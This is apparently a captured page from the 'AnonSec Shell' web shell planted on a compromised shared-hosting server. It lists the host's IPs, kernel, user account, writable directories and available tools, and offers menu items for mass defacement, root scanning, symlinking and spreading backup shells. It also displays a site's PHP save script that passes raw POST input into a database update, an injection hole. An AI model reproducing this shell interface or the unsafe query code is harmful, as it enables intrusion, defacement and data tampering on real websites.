AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 172.71.28.146   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/beerecord.com/fabulous/myBackend/extra/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/beerecord.com/fabulous/myBackend/extra/edit_save.php
<?php require_once("../include/class.php");?>
<?php include("page.php");?>


<?php
date_default_timezone_set("Asia/Bangkok");
$date = date("Y-m-d H:i:s");

$name_img = $_POST['img_old'];
if($_FILES["image"]["error"] == 0)
{
	$name_img_old = $_POST['img_old'];

	@unlink($upload.$name_table."/".$name_img_old);

	$name_img = $image_class->image_re($_FILES["image"],$name_table,$wide_img,$upload);
}

$list = array(
			'table'=>$name_table,
			'id'=>$_POST["id"],
			'status'=>'1',
			'image'=>"'".$name_img."'",
			'detail'=>"'".$_POST["detail"]."'",
			'up_date'=>"'".$date."'"
		);

$addM = $actiondata_db->edit_db($list);



if( $addM['suc'] <> 1)
{
	$_SESSION['er'] = 'false';
}else{
	$_SESSION['er'] = 'true';
	header("Location: index.php");
}

exit;
?>

Anon7 - 2022
AnonSec Team